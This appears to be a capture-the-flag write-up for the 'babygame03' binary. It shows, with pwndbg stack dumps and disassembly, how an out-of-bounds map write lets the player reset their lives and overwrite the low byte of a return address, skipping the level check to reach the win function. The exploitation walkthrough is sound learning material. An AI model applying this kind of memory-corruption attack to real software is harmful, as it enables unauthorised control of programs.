Skip to content

Latest commit

 

History

History

babygame03

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

We are a given a binary without source. The binary is a game with a rectangular grid where you can move around with wasd. Each move decreases the numbers of lives you have and ends when you run out of them.

When we open the binary with binary ninja, we notice a couple of things

  • There are special commands: l sets the player tile, p automatically moves the player to the "exit" of the level

  • Two variables track the current level

  • The win condition (to get the flag) is to get to level 5

  • The condition that checks whether the player has reached the exit also requires level != 4, making it impossible to get to level 5 by any "normal" means.

  • the player struct

    struct player_t {
        int32_t y;
        int32_t x;
        int32_t lives;
    }
    

    is placed before the array containing the map on the stack.

  • Before each move

    *(player->y * 0x5a + map + player->x) = '.'
    

    After each move

    *(player->y * 0x5a + map + player->x) = player_tile
    

We can manipulate the number of lives by underflowing the x position, essentially writing 0x23 = '.' into the int32_t lives. Note that we can only overwrite the value with 0x23 bytes, since when moving away from that address, the character . is placed there.

So we can get to level 4, by manipulating our lives and using the p command to automatically move to the exit. But how do we get to level 5?

Closer examination of the stack in the move_player function shows another interesting value that lives within reach: the return address!

pwndbg> break move_player
Breakpoint 1 at 0x8049538
pwndbg> c
Continuing.
[...]
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ esp 0xff967750 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
01:0004│-004 0xff967754 —▸ 0xff9682fc —▸ 0xff96888b ◂— 'TERMINATOR_DBUS_PATH=/net/tenshu/Terminator2'
02:0008│ ebp 0xff967758 —▸ 0xff968228 ◂— 0x0
03:000c│+004 0xff96775c —▸ 0x804992c (main+187) ◂— add esp, 10h
04:0010│+008 0xff967760 —▸ 0xff967780 ◂— 0x4
05:0014│+00c 0xff967764 ◂— 0x61 /* 'a' */
06:0018│+010 0xff967768 —▸ 0xff96778f ◂— 0x2e2e2e23 ('#...')
07:001c│+014 0xff96776c —▸ 0xff96777c ◂— 0x1
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► 0 0x8049538 move_player+5
   1 0x804992c main+187
   2 0xeff98af9
   3 0xeff98bbd __libc_start_main+141
   4 0x804912c _start+44
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

The idea is simple: override the return address and jump back to main right after the exit condition check!

Instead of jumping to 0x804992c we want to jump to 08049970, which is right after the condition checks:


08049927  e807fcffff         call    move_player
0804992c  83c410             add     esp, 0x10
0804992f  83ec04             sub     esp, 0x4
08049932  8d8554f5ffff       lea     eax, [ebp-0xaac {level}]
08049938  50                 push    eax {level} {var_ac8_3}
08049939  8d8558f5ffff       lea     eax, [ebp-0xaa8 {player}]
0804993f  50                 push    eax {player} {var_acc_3}
08049940  8d8567f5ffff       lea     eax, [ebp-0xa99 {map}]
08049946  50                 push    eax {map} {var_ad0_3}
08049947  e807fbffff         call    print_map
0804994c  83c410             add     esp, 0x10
0804994f  8b8558f5ffff       mov     eax, dword [ebp-0xaa8 {player.y}]
08049955  83f81d             cmp     eax, 0x1d
08049958  756d               jne     0x80499c7 // player.y == 0x1d

0804995a  8b855cf5ffff       mov     eax, dword [ebp-0xaa4 {player.x}]
08049960  83f859             cmp     eax, 0x59
08049963  7562               jne     0x80499c7 // player.x == 0x59

08049965  8b8554f5ffff       mov     eax, dword [ebp-0xaac {level}]
0804996b  83f804             cmp     eax, 0x4
0804996e  7457               je      0x80499c7 // level != 4

08049970  83ec0c             sub     esp, 0xc
08049973  8d83e8e0ffff       lea     eax, [ebx-0x1f18]  {data_804a0e8, "You win!\n Next level starting "}
08049979  50                 push    eax  {data_804a0e8, "You win!\n Next level starting "}
0804997a  e831f7ffff         call    puts

To figure out the x position we have to move to, we calculate the offset of the map and the return address on the stack, when we're inside move_player:


pwndbg> stack 30
00:0000│ esp   0xff967750 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— 0x1
01:0004│-004   0xff967754 —▸ 0xff9682fc —▸ 0xff96888b ◂— 'TERMINATOR_DBUS_PATH=/net/tenshu/Terminator2'
02:0008│ ebp   0xff967758 —▸ 0xff968228 ◂— 0x0
03:000c│+004   0xff96775c —▸ 0x804992c (main+187) ◂— add esp, 10h
04:0010│+008   0xff967760 —▸ 0xff967780 ◂— 0x4
05:0014│+00c   0xff967764 ◂— 0x61 /* 'a' */
06:0018│+010   0xff967768 —▸ 0xff96778f ◂— 0x2e2e2e23 ('#...')
07:001c│+014   0xff96776c —▸ 0xff96777c ◂— 0x1
08:0020│+018   0xff967770 ◂— 0x4
09:0024│+01c   0xff967774 ◂— 0x1
0a:0028│+020   0xff967778 ◂— 0x0
0b:002c│+024   0xff96777c ◂— 0x1
0c:0030│ eax   0xff967780 ◂— 0x4
0d:0034│+02c   0xff967784 ◂— 0x4
0e:0038│+030   0xff967788 ◂— 0x32 /* '2' */
0f:003c│ edx-3 0xff96778c ◂— 0x23000004
10:0040│+038   0xff967790 ◂— 0x2e2e2e2e ('....')
... ↓          13 skipped

We see that the return address is at offset 0x0c, whereas the map starts at 0x3f = 0x3c + 3 (the 0x23 = '#' is the first character of the map), which gives us an offset of 0x3f-0x0c=-51. We need to overwrite the LSB 0x2c of the return address with 0x70 so we set the player character to 0x70, move to y=1, x=-51, then one tile up, and we're at level 5!

We repeat the same process once more, to jump right to the call of the win function, and we're done.